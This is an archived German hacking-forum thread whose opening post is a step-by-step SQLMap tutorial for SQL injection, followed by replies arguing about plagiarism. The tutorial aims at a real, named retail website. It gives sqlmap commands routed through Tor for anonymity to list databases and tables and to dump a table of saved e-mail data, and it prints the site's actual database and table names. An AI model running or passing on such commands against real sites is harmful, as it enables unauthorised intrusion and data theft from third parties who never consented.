PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [Text-Tut] SQL-Injection with SQLMap DE



Mr_NiceGuy
26.01.2016, 09:39
Moin moin,

Ich will euch den einfachen Umgang mit SQLMap beibringen.

Kommen wir als erstes zu den Voraussetzungen!

Voraussetzungen:

Python 2.6 oder 2.7

Anfang:

So fangen wir an!

Wir haben eine URL z.B. http://www.wifi-link.com (http://anonym.cf/?http://www.wifi-link.com/) wir suchen uns jetzt ein Artikel aus bei mir ist es: http://www.wifi-link...product_id=2279 (http://www.wifi-link.com/product.php?action=product&class1_id=589&class2_id=927&class3_id=1023&product_id=2279)

jetzt sehen wir mehrer ID's wenn wir jetzt am Ende einfach ein " ' " anhängen und einen Fehler bekommen wissen wir das diese URL angreifbar ist!


Start SQLMap:

Fangen wir mal richtig an http://www.toolbase.me/board/public/style_emoticons/default/biggrin.png

Wir starten jetzt SQLMap mit der URL wo wir denken das sie angreifbar ist!



python sqlmap.py --tor --tor-type=SOCKS5 -u "http://www.wifi-link.com/product.php?action=product&class1_id=589&class2_id=927&class3_id=1023&product_id=2279"
(Ich starte das ganze mit Tor für die Sicherheit! wenn ihr kein Tor benutzen wollt lasst einfach "--tor --tor-type=SOCKS5" weg! )


Wenn wir eine Nachricht bekommen das z.B. ID Injectable ist machen wir weiter.



python sqlmap.py --tor --tor-type=SOCKS5 -u "http://www.wifi-link.com/product.php?action=product&class1_id=589&class2_id=927&class3_id=1023&product_id=2279" --dbs


Damit können wir die einzelnen Tabellen ausgeben das sieht dann so aus:


web server operating system: Linux Fedora
web application technology: Apache 2.2.9, PHP 5.2.9
back-end DBMS: MySQL 5.0
[10:36:20] [INFO] fetching database names
[10:36:21] [INFO] the SQL query used returns 3 entries
[10:36:23] [INFO] retrieved: information_schema
[10:36:24] [INFO] retrieved: WIFI-Link_UK
[10:36:25] [INFO] retrieved: test
available databases [3]:
information_schema
test
WIFI-Link_UK

[10:36:25] [INFO] fetched data logged to text files under '/home/hagbard-celine/Anwendungen/Injection/sqlmap-dev/output/www.wifi-link.com'


Jetzt haben wir die Tabellen mit den können wir weiter arbeiten:


python sqlmap.py --tor --tor-type=SOCKS5 -u "http://www.wifi-link.com/product.php?action=product&class1_id=589&class2_id=927&class3_id=1023&product_id=2279" --tables -D test


Ausgabe:


Database: WIFI-Link_UK
[50 tables]
+--------------------+
| PostAreaMod |
| PostAssociate |
| PostMod |
| VisitRecord |
| VisitRecordHistory |
| cable |
| cable_order |
| car1 |
| city |
| cityarea |
| class |
| class_link |
| contact |
| country |
| country_tax |
| document |
| epaperorder |
| form |
| guestbook |
| homepage |
| invoice |
| invoice_detail |
| joint |
| mailerror |
| manager |
| marquee |
| member |
| mpost |
| mpost_rule |
| order_detail |
| order_list |
| piorder_detail |
| piorder_list |
| post |
| postage_area |
| product |
| product_download |
| product_link |
| product_qa |
| product_suit |
| product_unit |
| product_unit_old |
| product_word |
| record_people |
| savemail |
| ver2_homepage |
| ver2_info |
| ver2_language |
| wifi_config |
| wifi_present |
+--------------------+


Ab jetzt ist nur noch warten angesagt und wie weit ihr schauen wollt!
Ich liste euch noch ein paar Befehle auf womit ihr die einzelnen Einträge auslesen könnt und die Datenbank auch Dumpen könnt.

Einzelne Einträge aus einer Tabelle auslesen:


python sqlmap.py --tor --tor-type=SOCKS5 -u "http://www.wifi-link.com/product.php?action=product&class1_id=589&class2_id=927&class3_id=1023&product_id=2279" --columns -D WIFI-Link_UK -T savemail


Und mit diesem Befehl könnte man das ganze Dumpen:


python sqlmap.py --tor --tor-type=SOCKS5 -u "http://www.wifi-link.com/product.php?action=product&class1_id=589&class2_id=927&class3_id=1023&product_id=2279" --dump -D WIFI-Link_UK -T savemail





Hier noch mal die Befehle zur Übersicht:


python sqlmap.py -u "http://www.site.com/section.php?id=51"
Die Datenbanken ausgeben:
python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

Die Tabellen:
python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D [database name]
Die einzelnen Einträge:
python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D [database name] -T [table]
Dumpen:
python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D [database name] -T [table]


//Edit by sn0w:
Quelle: http://captn-nemo.blogspot.de/2015/07/sqlmap-tutorial-sql-injection.html

Cystasy
26.01.2016, 19:18
http://cdn.meme.am/instances/500x/57993050.jpg

http://captn-nemo.blogspot.de/2015/07/sqlmap-tutorial-sql-injection.html
(http://captn-nemo.blogspot.de/2015/07/sqlmap-tutorial-sql-injection.html)

Gleiches Spiel auf Toolbase.. Gleicher Nickname, Gleicher Posting Titel, Gleicher Text.. alles copy paste.
Sowas ist NICHT Sinn des Sache finde ich..

Vr3piz4
26.01.2016, 20:02
Das naechste mal die Quelle hinschreiben. Sonst ist es einfach Lame, wie deine Beitraege in anderen Foren.

Mr_NiceGuy
26.01.2016, 21:09
Weil ich das bin... :D
Also ist das nicht okay das ich meine eigenen Tuts verteile, okay...

Vr3piz4
26.01.2016, 21:31
Proof?

Cystasy
26.01.2016, 22:34
Weil ich das bin... :D
Also ist das nicht okay das ich meine eigenen Tuts verteile, okay...


Naja, bedenke folgendes: der Blog Eintrag wovon es C&P wurde ist sehr alt, und wurde von jemand mit einem anderem Nickname verfasst.
Zudem bist du frisch registriert, und postest dann plötzlich in 2 verschiedenen Foren genau den gleichen Thread.. wirkt nunmal sehhrr komisch.

Da fragt man sich halt.. wieso copy pastest du 1:1 dann einen Blogeintrag der ziemlich alt ist, ohne zu erwähnen das es von deinem (?) Blog stammt?
Ziemlich strange das ganze imho..

Mr_NiceGuy
26.01.2016, 22:38
Naja, bedenke folgendes: der Blog Eintrag wovon es C&P wurde ist sehr alt, und wurde von jemand mit einem anderem Nickname verfasst.
Zudem bist du frisch registriert, und postest dann plötzlich in 2 verschiedenen Foren genau den gleichen Thread.. wirkt nunmal sehhrr komisch.

Da fragt man sich halt.. wieso copy pastest du dann einen Blogeintrag der ziemlich alt ist, ohne zu erwähnen das es von deinem (?) Blog stammt?
Ziemlich strange das ganze imho..

Proof?
Ich kann eben ein neuen Blogeintrag mit eueren Nicks machen? :D

Cystasy
26.01.2016, 22:42
Proof?
Ich kann eben ein neuen Blogeintrag mit eueren Nicks machen? :D

Wäre ne Lösung :P
Kannst es danach dann ja wieder entfernen.

Edit: http://captn-nemo.blogspot.de/2016/01/proof.html passt :) Tschuldige für die Anschuldigung, aber heutzutage bei sovielen Copy Paste Boys bin ich vorsichtig geworden. Hoffe ist verständlich^^

Mr_NiceGuy
26.01.2016, 22:44
Wäre ne Lösung :P
Kannst es danach dann ja wieder entfernen.

http://captn-nemo.blogspot.de/2016/01/proof.html

Kein Problem

Vr3piz4
27.01.2016, 08:33
Auch von meiner Seite entschuldige ich mich. Habe mich da ein wenig hinreissen lassen.

Otto Borsdorf
27.01.2016, 10:51
Hey, ich fand das Tutorial richtig geil (!)!
Poste das doch auf b2h die kennen sich da noch nicht so gut mit SQLMap aus glaub ich.

Liebe Grüßis

Mr_NiceGuy
27.01.2016, 14:49
Hey, ich fand das Tutorial richtig geil (!)!
Poste das doch auf b2h die kennen sich da noch nicht so gut mit SQLMap aus glaub ich.

Liebe Grüßis

Ich lass das lieber :P

Braz
27.01.2016, 15:41
@Otto Borsdorf: Der Name ist Programm wa? :D

Kussis,
braz